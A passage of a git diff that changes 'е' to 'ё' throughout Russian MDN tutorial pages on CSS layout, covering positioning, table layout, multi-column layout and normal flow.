+<p>Фиксированное (Fixed) позиционирование удаляет наш элемент из потока документа так же, как и абсолютное позиционирование. Однако, вместо смещения применяемого относительно контейнера, оно применяется относительно окна просмотра. Поскольку элемент остаётся зафиксированным относительно окна просмотра, мы можем создавать такие эффекты как меню, которое остаётся зафиксированным пока страница прокручивается под ним.</p> <p>Для этого примера наш HTML это три параграфа текста для того, чтобы мы могли прокручивать страницу и блок, которому мы дадим <code>position: fixed</code>.</p> @@ -524,7 +524,7 @@ p { <h3 id="Sticky_positioning">Sticky positioning</h3> -<p>Липкое (Sticky) позиционирование — это последний тип позиционирования которой мы имеем в нашем распоряжении. Это микс дефолтного статического позиционирования с фиксированным позиционированием. когда элемент имеет <code>position: sticky</code> он будет прокручиваться в нормальном потоке пока не достигнет границы окна просмотра которую мы задали. С этого момента он (элемент) "прилипает", как если бы был применен <code>position: fixed</code>.</p> +<p>Липкое (Sticky) позиционирование — это последний тип позиционирования которой мы имеем в нашем распоряжении. Это микс дефолтного статического позиционирования с фиксированным позиционированием. когда элемент имеет <code>position: sticky</code> он будет прокручиваться в нормальном потоке пока не достигнет границы окна просмотра которую мы задали. С этого момента он (элемент) "прилипает", как если бы был применён <code>position: fixed</code>.</p> <div id="Sticky_1"> <div class="hidden"> @@ -569,13 +569,13 @@ p { <h2 id="Макет_таблицы">Макет таблицы</h2> -<p>HTML таблицы хороши для отображения табличных данных, но много лет назад — до того, как даже <span class="tlid-translation translation" lang="ru"><span title="">базовый CSS</span></span> <span class="tlid-translation translation" lang="ru"><span title="">надежно</span></span> поддерживался <span class="tlid-translation translation" lang="ru"><span title="">в браузерах </span></span>— веб-разработчики также использовали таблицы для разметки всей веб-страницы — размещая свои заголовки, нижние колонтитулы, различные колонки и т.д. в разных строках и столбцах таблиц. Это работало в то время, но оно имеет много проблем — разметка таблиц не гибкая, очень тяжелая в верстке, сложна в отладке, и семантически не верная. (например, пользователи скринридеров имеют проблемы с навигацией в табличном макете).</p> +<p>HTML таблицы хороши для отображения табличных данных, но много лет назад — до того, как даже <span class="tlid-translation translation" lang="ru"><span title="">базовый CSS</span></span> <span class="tlid-translation translation" lang="ru"><span title="">надёжно</span></span> поддерживался <span class="tlid-translation translation" lang="ru"><span title="">в браузерах </span></span>— веб-разработчики также использовали таблицы для разметки всей веб-страницы — размещая свои заголовки, нижние колонтитулы, различные колонки и т.д. в разных строках и столбцах таблиц. Это работало в то время, но оно имеет много проблем — разметка таблиц не гибкая, очень тяжёлая в вёрстке, сложна в отладке, и семантически не верная. (например, пользователи скринридеров имеют проблемы с навигацией в табличном макете).</p> <p><span class="tlid-translation translation" lang="ru"><span title="">То, как таблица выглядит на веб-странице при использовании разметки таблицы, обусловлено набором свойств CSS, которые определяют макет таблицы</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Эти свойства могут использоваться для размещения элементов, которые не являются таблицами, использование, которое иногда описывается как «использование CSS таблиц».</span></span></p> -<p>Пример ниже показывает одно такое использование; использование CSS таблиц для верстки должно считаться устаревшим методом на данный момент, для тех ситуаций, когда у вас старые браузеры без поддержки Flexbox или Grid.</p> +<p>Пример ниже показывает одно такое использование; использование CSS таблиц для вёрстки должно считаться устаревшим методом на данный момент, для тех ситуаций, когда у вас старые браузеры без поддержки Flexbox или Grid.</p> -<p>Давайте взглянем на пример. Во-первых, немного простой разметки, которая создает HTML форму. Каждый input элемент имеет label, и мы также заключили описание в параграф. каждая пара label/input обернута в {{htmlelement("div")}}, для целей верстки.</p> +<p>Давайте взглянем на пример. Во-первых, немного простой разметки, которая создаёт HTML форму. Каждый input элемент имеет label, и мы также заключили описание в параграф. каждая пара label/input обёрнута в {{htmlelement("div")}}, для целей верстки.</p> <pre class="brush: html notranslate"><form> <p>First of all, tell us your name and age.</p> @@ -633,7 +633,7 @@ form p { font-style: italic; }</pre> -<p>Это дает нам следующий результат:</p> +<p>Это даёт нам следующий результат:</p> <p>{{ EmbedLiveSample('Макет_таблицы', '100%', '170') }}</p> @@ -641,7 +641,7 @@ form p { <h2 id="Многоколоночный_макет">Многоколоночный макет</h2> -<p>Модуль многоколоночного макета (multi-column layout) дает нам способ располагать контент в столбцах, подобно тому, как текст располагается в газете. Хоть и чтение <span class="tlid-translation translation" lang="ru"><span title="">столбцов вверх и вниз менее полезно в контексте веба, так как вы не хотите заставлять пользователей прокручивать вверх и вниз, размещение контента по столбцам может быть полезной техникой.</span></span></p> +<p>Модуль многоколоночного макета (multi-column layout) даёт нам способ располагать контент в столбцах, подобно тому, как текст располагается в газете. Хоть и чтение <span class="tlid-translation translation" lang="ru"><span title="">столбцов вверх и вниз менее полезно в контексте веба, так как вы не хотите заставлять пользователей прокручивать вверх и вниз, размещение контента по столбцам может быть полезной техникой.</span></span></p> <p>Чтобы превратить блок в многоколоночный контейнер мы используем свойство {{cssxref("column-count")}}, которое говорит браузеру сколько колонок мы хотим иметь, либо свойство {{cssxref("column-width")}}, которое говорит браузеру заполнить контейнер <span class="tlid-translation translation" lang="ru"><span title="">как можно большим количеством столбцов, по крайней мере, такой ширины.</span></span></p> @@ -692,14 +692,14 @@ form p { <h2 id="В_этом_модуле">В этом модуле</h2> <ul> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Введение в CSS верстку</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Введение в CSS вёрстку</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Нормальный поток</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Позиционирование</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Многоколоночный макет</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Устаревшие методы верстки</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Устаревшие методы вёрстки</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Поддержка старых браузеров</a></li> <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Оценка понимания базовых макетов</a></li> </ul> diff --git a/files/ru/learn/css/css_layout/multiple-column_layout/index.html b/files/ru/learn/css/css_layout/multiple-column_layout/index.html index f61c802400..a501bff3b1 100644 --- a/files/ru/learn/css/css_layout/multiple-column_layout/index.html +++ b/files/ru/learn/css/css_layout/multiple-column_layout/index.html @@ -8,7 +8,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}</div> -<p class="summary">Спецификация макет с несколькими столбцами дает вам метод верстки контента по столбцам, точно также как вы можете видеть в газете. Эта статья объясняет, как использовать эту функцию.</p> +<p class="summary">Спецификация макет с несколькими столбцами даёт вам метод вёрстки контента по столбцам, точно также как вы можете видеть в газете. Эта статья объясняет, как использовать эту функцию.</p> <table class="learn-box standard-table"> <tbody> @@ -31,7 +31,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто <p>Сейчас мы будем изучать как использовать макет с несколькими столбцами, часто называемый <em>multicol. </em>Вы можете следовать за нами <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html">скачав файл отправной точки multicol</a> и добавлять CSS в соответствующие места. В конце раздела вы можете посмотреть живой пример того, как конечный код должен выглядеть.</p> -<p>Наша отправная точка содержит немного очень простого HTML; обертка с классом <code>container</code> внутри которого имеется заголовок и несколько параграфов.</p> +<p>Наша отправная точка содержит немного очень простого HTML; обёртка с классом <code>container</code> внутри которого имеется заголовок и несколько параграфов.</p> <p>{{htmlelement("div")}} с классом контейнер станет нашим multicol контейнером. Мы включаем multicol используя одно из двух свойств {{cssxref("column-count")}} или {{cssxref("column-width")}}. Какое значение вы дадите свойству <code>column-count</code> столько столбцов он и создаст, поэтому если вы добавите следующий CSS в ваши стили и перезагрузите страницу, то получите три столбца:</p> @@ -40,7 +40,7 @@ original_slug: Learn/CSS/CSS_layout/Макет_с_несколькими_сто } </pre> -<p>Колонки, которые вы создаете имеют гибкую ширину — браузер решает какое пространство назначить каждому столбцу.</p> +<p>Колонки, которые вы создаёте имеют гибкую ширину — браузер решает какое пространство назначить каждому столбцу.</p> <div id="Multicol_1"> <div class="hidden"> @@ -240,7 +240,7 @@ h2 { <h2 id="Столбцы_и_фрагментация">Столбцы и фрагментация</h2> -<p>Содержимое макета нескольких столбцов является фрагментированным. <span class="tlid-translation translation" lang="ru"><span title="">По сути, он ведет себя так же, как контент в постраничных медиа </span></span>— так же, как когда вы печатаете веб-страницы. Когда вы переводите ваш контент в multicol контейнер он фрагментируется на столбцы и контент разбивается чтобы позволить этому произойти.</p> +<p>Содержимое макета нескольких столбцов является фрагментированным. <span class="tlid-translation translation" lang="ru"><span title="">По сути, он ведёт себя так же, как контент в постраничных медиа </span></span>— так же, как когда вы печатаете веб-страницы. Когда вы переводите ваш контент в multicol контейнер он фрагментируется на столбцы и контент разбивается чтобы позволить этому произойти.</p> <p>Порой это разрывание происходит в местах, мешающих чтению. В живом примере ниже, я использовал multicol чтобы разместить несколько блоков, каждый из которых имеет заголовок и немного текста внутри. <span class="tlid-translation translation" lang="ru"><span title="">Заголовок отделяется от текста, если столбцы разделяются между ними.</span></span></p> @@ -330,7 +330,7 @@ h2 { <p>{{ EmbedLiveSample('Multicol_4', '100%', 600) }}</p> -<p>Для того чтобы управлять этим поведением мы можем использовать свойства из спецификации <a href="/en-US/docs/Web/CSS/CSS_Fragmentation">CSS Фрагментации</a>. Эта спецификация дает нам свойства для управления разрывами контента в multicol и постраничных медиа. Например, добавьте свойство {{cssxref("break-inside")}} со значением <code>avoid</code> к правилам <code>.card</code>. Это контейнер заголовка и текста и поэтому мы не хотим фрагментировать этот блок.</p> +<p>Для того чтобы управлять этим поведением мы можем использовать свойства из спецификации <a href="/en-US/docs/Web/CSS/CSS_Fragmentation">CSS Фрагментации</a>. Эта спецификация даёт нам свойства для управления разрывами контента в multicol и постраничных медиа. Например, добавьте свойство {{cssxref("break-inside")}} со значением <code>avoid</code> к правилам <code>.card</code>. Это контейнер заголовка и текста и поэтому мы не хотим фрагментировать этот блок.</p> <p>В настоящее время также стоит добавлять старое свойство <code>page-break-inside: avoid</code> для лучшей поддержки старых браузеров.</p> @@ -440,7 +440,7 @@ h2 { <h2 id="Заключение">Заключение</h2> -<p>Вы теперь знаете, как использовать базовые функции макета с несколькими столбцами, еще один инструмент в вашем распоряжении при выборе метода макета для дизайна который вы строите.</p> +<p>Вы теперь знаете, как использовать базовые функции макета с несколькими столбцами, ещё один инструмент в вашем распоряжении при выборе метода макета для дизайна который вы строите.</p> <h2 id="См._также">См. также</h2> diff --git a/files/ru/learn/css/css_layout/normal_flow/index.html b/files/ru/learn/css/css_layout/normal_flow/index.html index e7091f2508..329bf37f99 100644 --- a/files/ru/learn/css/css_layout/normal_flow/index.html +++ b/files/ru/learn/css/css_layout/normal_flow/index.html @@ -21,12 +21,12 @@ original_slug: Learn/CSS/CSS_layout/Нормальный_поток </tr> <tr> <th scope="row">Цель:</th> - <td>Объяснить как браузеры размещают элементы на веб-странице по умолчанию, т.е. прежде, чем мы начнем вносить какие-либо изменения.</td> + <td>Объяснить как браузеры размещают элементы на веб-странице по умолчанию, т.е. прежде, чем мы начнём вносить какие-либо изменения.</td> </tr> </tbody> </table> -<p>Как говорилось ранее, элементы на веб-странице располагаются в нормальном потоке, если вы не применили к ним ни единого CSS для изменения их поведения. И, как мы уже выяснили, вы можете изменить поведение элементов либо путем изменения их положения в этом нормальном потоке, либо удалением этих элементов из этого потока. Хорошо структурированный документ, читабельный в нормальном потоке является лучшим путём начала любой веб-страницы. Это гарантирует, что ваш контент будет читабельным, даже если пользователи используют очень ограниченный браузер или устройство для чтения, которое считывает содержимое страницы. Кроме того, поскольку нормальный поток предназначен для создания читабельного документа, имейте в виду, что вы не сражаетесь с первоначальным видом документа, а работаете с ним.</p> +<p>Как говорилось ранее, элементы на веб-странице располагаются в нормальном потоке, если вы не применили к ним ни единого CSS для изменения их поведения. И, как мы уже выяснили, вы можете изменить поведение элементов либо путём изменения их положения в этом нормальном потоке, либо удалением этих элементов из этого потока. Хорошо структурированный документ, читабельный в нормальном потоке является лучшим путём начала любой веб-страницы. Это гарантирует, что ваш контент будет читабельным, даже если пользователи используют очень ограниченный браузер или устройство для чтения, которое считывает содержимое страницы. Кроме того, поскольку нормальный поток предназначен для создания читабельного документа, имейте в виду, что вы не сражаетесь с первоначальным видом документа, а работаете с ним.</p> <p>Прежде чем углубиться в разные способы компоновки, стоит пересмотреть некоторые из вещей, которые вы изучили в предыдущих модулях в отношении нормального потока документов. </p> @@ -36,11 +36,11 @@ original_slug: Learn/CSS/CSS_layout/Нормальный_поток <p>По умолчанию содержимое элемента уровня блока составляет 100% от ширины его родительского элемента и столь же высок, как и его содержимое. Встроенные элементы высоки и широки, как их содержимое. Вы не можете установить ширину или высоту на встроенные элементы — они просто находятся внутри содержимого элементов блочного уровня. Если вы хотите контролировать размер встроенного элемента вам нужно настроить его так, чтобы он себя вёл как элемент блочного уровня при помощи <code>display: block;</code> (или даже, <code>display: inline-block;</code>, который смешивает характеристики обоих.).</p> -<p>Это объясняет отдельные элементы, но как насчет того, как элементы взаимодействуют друг с другом? Нормальный поток макета (упомянутый в статье введения макета) - это система, посредством которой элементы размещаются внутри окна просмотра браузера. По умолчанию элементы уровня блока выкладываются в направлении, что блокирует отображение в режиме записи документа - каждый из них будет отображаться в новой строке ниже последней строки, и они будут разделены любым полем, установленным на них. Поэтому на английском языке или на любом другом, в котором режим писания горизонтальный, сверху вниз, элементы уровня блока располагаются вертикально.</p> +<p>Это объясняет отдельные элементы, но как насчёт того, как элементы взаимодействуют друг с другом? Нормальный поток макета (упомянутый в статье введения макета) - это система, посредством которой элементы размещаются внутри окна просмотра браузера. По умолчанию элементы уровня блока выкладываются в направлении, что блокирует отображение в режиме записи документа - каждый из них будет отображаться в новой строке ниже последней строки, и они будут разделены любым полем, установленным на них. Поэтому на английском языке или на любом другом, в котором режим писания горизонтальный, сверху вниз, элементы уровня блока располагаются вертикально.</p> -<p>Встроенные элементы ведут себя по-другому — они не появляются на новых строках; они располагаются на той же строке, что и другие и любой смежной или завернутый текст располагается на всю ширину внутри элемента уровня родительского блока, до тех пор, пока не закончится пространство. Если пространства нет, тогда текст и/или элементы перейдут на новую строку (не с абзаца).</p> +<p>Встроенные элементы ведут себя по-другому — они не появляются на новых строках; они располагаются на той же строке, что и другие и любой смежной или завёрнутый текст располагается на всю ширину внутри элемента уровня родительского блока, до тех пор, пока не закончится пространство. Если пространства нет, тогда текст и/или элементы перейдут на новую строку (не с абзаца).</p> -<p>Если два смежных элемента имеют заданные для них поля/внешние отступы (margin) и эти поля соприкасаются друг с другом, большее из них остается, а меньшее исчезает — это называется схлопывание полей (margin collapsing), и мы рассматривали это ранее.</p> +<p>Если два смежных элемента имеют заданные для них поля/внешние отступы (margin) и эти поля соприкасаются друг с другом, большее из них остаётся, а меньшее исчезает — это называется схлопывание полей (margin collapsing), и мы рассматривали это ранее.</p> <p>Давайте посмотрим на пример, который объясняет всё из того, что мы рассмотрели в данной статье:</p> diff --git a/files/ru/learn/css/css_layout/positioning/index.html b/files/ru/learn/css/css_layout/positioning/index.html index 59669413f4..da8a00b79d 100644 --- a/files/ru/learn/css/css_layout/positioning/index.html +++ b/files/ru/learn/css/css_layout/positioning/index.html @@ -47,7 +47,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning background: yellow; }</pre> -<p>И если вы сейчас сохраните и обновите, то вы не увидите никаких изменений, не считая обновленного цвета фона 2-го параграфа. Это нормально, как мы и говорили ранее, статическое позиционирование является поведением по умолчанию!</p> +<p>И если вы сейчас сохраните и обновите, то вы не увидите никаких изменений, не считая обновлённого цвета фона 2-го параграфа. Это нормально, как мы и говорили ранее, статическое позиционирование является поведением по умолчанию!</p> <div class="note"> <p><strong>Примечание</strong>: Вы можете посмотреть живой пример на данном этапе на <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html">1_static-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">см. исходный код</a>).</p> @@ -55,7 +55,7 @@ translation_of: Learn/CSS/CSS_layout/Positioning <h3 id="Относительное_позиционирование">Относительное позиционирование</h3> -<p>Относительное позиционирование первый тип позиции, который мы рассмотрим. Оно очень похоже на статическое позиционирование, за исключением того что вы можете модифицировать окончательное положение позиционируемого объекта занявшего свое место в макете нормального потока, в том числе заставлять его перекрывать другие элементы на странице. Двигайтесь далее и обновите объявление <code>position</code> в вашем коде:</p> +<p>Относительное позиционирование первый тип позиции, который мы рассмотрим. Оно очень похоже на статическое позиционирование, за исключением того что вы можете модифицировать окончательное положение позиционируемого объекта занявшего своё место в макете нормального потока, в том числе заставлять его перекрывать другие элементы на странице. Двигайтесь далее и обновите объявление <code>position</code> в вашем коде:</p> <pre class="brush: css notranslate">position: relative;</pre> @@ -120,7 +120,7 @@ span { <h3 id="Абсолютное_позиционирование">Абсолютное позиционирование</h3> -<p>Абсолютное позиционирование дает совершенно другие результаты. Давайте попробуем изменить объявление позиции в вашем коде как показано ниже:</p> +<p>Абсолютное позиционирование даёт совершенно другие результаты. Давайте попробуем изменить объявление позиции в вашем коде как показано ниже:</p> <pre class="brush: css notranslate">position: absolute;</pre> @@ -164,16 +164,16 @@ span { <p>{{ EmbedLiveSample('Абсолютное_позиционирование', '100%', 420) }}</p> -<p>В первую очередь обратите внимание на то, что интервал там, где должен быть позиционируемый элемент в потоке документа теперь отсутствует — первый и третий элементы сблизились так будто, он больше не существует! Ну, в каком-то смысле это правда. Абсолютно позиционированный элемент больше не существует в нормальном потоке макета документа. Вместо этого он располагается на своем собственном слое отдельно от всего остального. Это очень полезно: это значит, что мы можем создавать изолированные функции пользовательского интерфейса, которые не влияют на макет других элементов страницы. Например, всплывающие информационные блоки и меню управления; <span class="tlid-translation translation" lang="ru"><span title="">опрокидывающиеся панели; ф</span></span><span class="tlid-translation translation" lang="ru"><span title="">ункции пользовательского интерфейса, которые можно перетаскивать в любом месте страницы;</span> <span title="">и так далее...</span></span></p> +<p>В первую очередь обратите внимание на то, что интервал там, где должен быть позиционируемый элемент в потоке документа теперь отсутствует — первый и третий элементы сблизились так будто, он больше не существует! Ну, в каком-то смысле это правда. Абсолютно позиционированный элемент больше не существует в нормальном потоке макета документа. Вместо этого он располагается на своём собственном слое отдельно от всего остального. Это очень полезно: это значит, что мы можем создавать изолированные функции пользовательского интерфейса, которые не влияют на макет других элементов страницы. Например, всплывающие информационные блоки и меню управления; <span class="tlid-translation translation" lang="ru"><span title="">опрокидывающиеся панели; ф</span></span><span class="tlid-translation translation" lang="ru"><span title="">ункции пользовательского интерфейса, которые можно перетаскивать в любом месте страницы;</span> <span title="">и так далее...</span></span></p> <p>Во-вторых, обратите внимание, что позиция элемента изменилась — это потому, что {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} ведут себя по-другому с абсолютным позиционированием. <span class="tlid-translation translation" lang="ru"><span title="">Вместо того, чтобы позиционировать элемент на основе его относительного положения в обычном потоке макета документа, они определяют расстояние, на котором элемент должен находиться от каждой из сторон содержащего элемента. Поэтому в этом случае мы говорим, что абсолютно позиционированный элемент должен располагаться в 30px от верха "содержащего элемента" и 30px от левого края (В этом случае "содержащий элемент" является </span></span><strong><span class="tlid-translation translation" lang="ru"><span title="">исходным содержащим блоком</span></span></strong>. См. раздел ниже для дополнительной информации<span class="tlid-translation translation" lang="ru"><span title="">).</span></span></p> <div class="note"> -<p><strong>Примечание</strong>: Вы можете использовать {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} для изменения размера элемента если вам надо. Попробуйте установить <code>top: 0; bottom: 0; left: 0; right: 0;</code> и <code>margin: 0;</code> для вашего позиционируемого элемента и посмотрите, что произойдет! <span class="tlid-translation translation" lang="ru"><span title="">Потом снова все верните...</span></span></p> +<p><strong>Примечание</strong>: Вы можете использовать {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, и {{cssxref("right")}} для изменения размера элемента если вам надо. Попробуйте установить <code>top: 0; bottom: 0; left: 0; right: 0;</code> и <code>margin: 0;</code> для вашего позиционируемого элемента и посмотрите, что произойдёт! <span class="tlid-translation translation" lang="ru"><span title="">Потом снова все верните...</span></span></p> </div> <div class="note"> -<p><strong>Примечание</strong>: Да, margin-ы все еще влияют на позиционируемый элемент. Однако, схлопывания margin не происходит.</p> +<p><strong>Примечание</strong>: Да, margin-ы все ещё влияют на позиционируемый элемент. Однако, схлопывания margin не происходит.</p> </div> <div class="note"> @@ -186,7 +186,7 @@ span { <p>Если никакие из элементов предков не имеют конкретно заданного свойства позиции, то по умолчанию все элементы предков будут иметь статическую позицию. В результате этого абсолютно позиционируемый элемент будет содержаться в <strong><span class="tlid-translation translation" lang="ru"><span title="">исходным </span></span>содержащем блоке</strong>. <span class="tlid-translation translation" lang="ru"><span title="">Исходный </span></span>содержащий блок <span class="tlid-translation translation" lang="ru"><span title="">имеет размеры области просмотра</span></span>, а также является блоком, содержащим элемент {{htmlelement("html")}}. <span class="tlid-translation translation" lang="ru"><span title="">Проще говоря</span></span>, абсолютно позиционируемый элемент будет отображаться за пределами элемента {{htmlelement("html")}} и будет расположен относительно исходного окна просмотра.</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Позиционируемый элемент вложен в {{htmlelement ("body")}} в исходном HTML, но в конечном макете он расположен на </span></span>30px от верхнего и левого края страницы. Мы можем изменить <strong>контекст </strong> <strong>позиционирования </strong>— относительно какого элемента позиционируется позиционируемый элемент. <span class="tlid-translation translation" lang="ru"><span title="">Это делается путем установки позиционирования на одном из предков элемента </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">на один из элементов, внутри которого он вложен (вы не можете позиционировать его относительно элемента, внутри которого он НЕ вложен).</span> <span title="">Чтобы продемонстрировать это, добавьте следующее объявление в правило вашего </span></span><code>body</code><span class="tlid-translation translation" lang="ru"><span title="">:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Позиционируемый элемент вложен в {{htmlelement ("body")}} в исходном HTML, но в конечном макете он расположен на </span></span>30px от верхнего и левого края страницы. Мы можем изменить <strong>контекст </strong> <strong>позиционирования </strong>— относительно какого элемента позиционируется позиционируемый элемент. <span class="tlid-translation translation" lang="ru"><span title="">Это делается путём установки позиционирования на одном из предков элемента </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">на один из элементов, внутри которого он вложен (вы не можете позиционировать его относительно элемента, внутри которого он НЕ вложен).</span> <span title="">Чтобы продемонстрировать это, добавьте следующее объявление в правило вашего </span></span><code>body</code><span class="tlid-translation translation" lang="ru"><span title="">:</span></span></p> <pre class="brush: css notranslate">position: relative;</pre> @@ -239,7 +239,7 @@ span { <h3 id="Введение_в_z-index">Введение в z-index</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Все это абсолютное позиционирование </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">хорошее развлечение</span></span>, но кое-что чего мы еще не рассмотрели — когда элементы начинают перекрываться, что определяет который из элементов будет появляться поверх другого элемента? В примере, который мы видели все это время, у нас имеется только один позиционируемый элемент в контексте позиционирования, и он появляется сверху поскольку позиционируемые элементы "побеждают" не позиционированные элементы. Что же насчет того, когда мы имеем более одного?</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Все это абсолютное позиционирование </span></span>— <span class="tlid-translation translation" lang="ru"><span title="">хорошее развлечение</span></span>, но кое-что чего мы ещё не рассмотрели — когда элементы начинают перекрываться, что определяет который из элементов будет появляться поверх другого элемента? В примере, который мы видели все это время, у нас имеется только один позиционируемый элемент в контексте позиционирования, и он появляется сверху поскольку позиционируемые элементы "побеждают" не позиционированные элементы. Что же насчёт того, когда мы имеем более одного?</p> <p>Попробуйте добавить следующий CSS, чтобы сделать первый параграф так же абсолютно позиционированным:</p> @@ -250,11 +250,11 @@ span { right: 30px; }</pre> -<p>На этом этапе вы увидите, что первый параграф окрашенный в лаймовый изъят из потока документа и помещен чуточку выше того места, где он был исходно. А <span class="tlid-translation translation" lang="ru"><span title="">также он расположен под оригинальным параграфом </span></span><code>.positioned</code>, где они оба перекрываются. Это потому что параграф <code>.positioned</code> является вторым параграфом по порядку в источнике и позже позиционируемые элементы в порядке источника выигрывают над ранее позиционируемыми элементами в порядке источника.</p> +<p>На этом этапе вы увидите, что первый параграф окрашенный в лаймовый изъят из потока документа и помещён чуточку выше того места, где он был исходно. А <span class="tlid-translation translation" lang="ru"><span title="">также он расположен под оригинальным параграфом </span></span><code>.positioned</code>, где они оба перекрываются. Это потому что параграф <code>.positioned</code> является вторым параграфом по порядку в источнике и позже позиционируемые элементы в порядке источника выигрывают над ранее позиционируемыми элементами в порядке источника.</p> <p><span class="tlid-translation translation" lang="ru"><span title="">Можете ли вы изменить порядок наложения?</span></span> Да, можете, используя свойство {{cssxref("z-index")}}. "z-index" это ссылка к z-оси. Вы можете вспомнить из предыдущих этапов в этом курсе, где мы обсуждали использование горизонтальных (x-ось) и вертикальных (y-оси) координат веб-страницами для <span class="tlid-translation translation" lang="ru"><span title="">определения позиции для таких вещей, как фоновые изображения</span></span> и смещение теней. (0,0) находится наверху слева страницы (или элемента) и оси x- и y- направляются направо и вниз страницы (<span class="tlid-translation translation" lang="ru"><span title="">во всяком случае,</span></span> для языков, направленных слева на право).</p> -<p>У веб-страниц также имеется z-ось: воображаемая линия, которая направляется от поверхности вашего экрана к вашему лицу (<span class="tlid-translation translation" lang="ru"><span title="">или что еще вам нравится иметь перед экраном). </span></span>Значения {{cssxref("z-index")}} влияют на то где позиционируемый элемент располагается на этой оси; положительные значения перемещают их выше по наложению, а отрицательные значения перемещают их ниже по наложению. По умолчанию все позиционируемые элементы имеют <code>z-index</code> <code>auto</code>, что фактически равно 0.</p> +<p>У веб-страниц также имеется z-ось: воображаемая линия, которая направляется от поверхности вашего экрана к вашему лицу (<span class="tlid-translation translation" lang="ru"><span title="">или что ещё вам нравится иметь перед экраном). </span></span>Значения {{cssxref("z-index")}} влияют на то где позиционируемый элемент располагается на этой оси; положительные значения перемещают их выше по наложению, а отрицательные значения перемещают их ниже по наложению. По умолчанию все позиционируемые элементы имеют <code>z-index</code> <code>auto</code>, что фактически равно 0.</p> <p>Для того чтобы изменить порядок наложения, попробуйте объявить для вашего <code>p:nth-of-type(1)</code> правила:</p> @@ -341,7 +341,7 @@ p:nth-of-type(1) { padding: 10px; }</pre> -<p><code>top: 0;</code> необходим чтобы приклеить его к верху экрана. мы дали заголовку ту же ширину что и колонкам с контентом и затем даем ему белый фон и немного padding и margin, чтобы контент не был видимым под ним.</p> +<p><code>top: 0;</code> необходим чтобы приклеить его к верху экрана. мы дали заголовку ту же ширину что и колонкам с контентом и затем даём ему белый фон и немного padding и margin, чтобы контент не был видимым под ним.</p> <p>Если вы сохраните и обновите сейчас, вы увидите маленький забавный эффект, <span class="tlid-translation translation" lang="ru"><span title="">при котором заголовок останется неизменным, а содержимое будет прокручиваться вверх и исчезать под ним.</span></span> Но мы можем улучшить это — в данный момент некоторый контент начинается под заголовком. Это из-за того, что позиционируемый заголовок больше не появляется в потоке документа, поэтому остальное содержимое поднимается наверх. Нам надо сдвинуть все это немного вниз; мы можем сделать это установив немного верхнего margin к первому параграфу. Добавьте его сейчас:</p> @@ -401,7 +401,7 @@ p:nth-of-type(1) { <h3 id="position_sticky">position: sticky</h3> -<p>Доступно другое значение позиции называемое <code>position: sticky</code>, которое несколько новее чем другие. <span class="tlid-translation translation" lang="ru"><span title="">По сути, это гибрид относительной и фиксированной позиции, который позволяет позиционируемому элементу вести себя как будто он относительно позиционирован, до тех пор пока он не будет прокручен до определенной пороговой точки (например, 10px от вершины окна просмотра), после чего он становится фиксированным. </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Это можно использовать, например, чтобы заставить панель навигации прокручиваться вместе со страницей до определенной точки, а затем задерживать в верхней части страницы.</span></span></p> +<p>Доступно другое значение позиции называемое <code>position: sticky</code>, которое несколько новее чем другие. <span class="tlid-translation translation" lang="ru"><span title="">По сути, это гибрид относительной и фиксированной позиции, который позволяет позиционируемому элементу вести себя как будто он относительно позиционирован, до тех пор пока он не будет прокручен до определённой пороговой точки (например, 10px от вершины окна просмотра), после чего он становится фиксированным. </span></span> <span class="tlid-translation translation" lang="ru"><span title="">Это можно использовать, например, чтобы заставить панель навигации прокручиваться вместе со страницей до определённой точки, а затем задерживать в верхней части страницы.</span></span></p> <div id="Sticky_1"> <div class="hidden"> diff --git a/files/ru/learn/css/css_layout/practical_positioning_examples/index.html b/files/ru/learn/css/css_layout/practical_positioning_examples/index.html index 2f5c145b3c..0e526bfc31 100644 --- a/files/ru/learn/css/css_layout/practical_positioning_examples/index.html +++ b/files/ru/learn/css/css_layout/practical_positioning_examples/index.html @@ -7,7 +7,7 @@ translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples <div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</div> -<p class="summary">Основы позиционирования, приведенные в последней статье, мы теперь рассмотрим, как создать некоторые примеры реального мира, чтобы проиллюстрировать, какие вещи вы можете сделать с 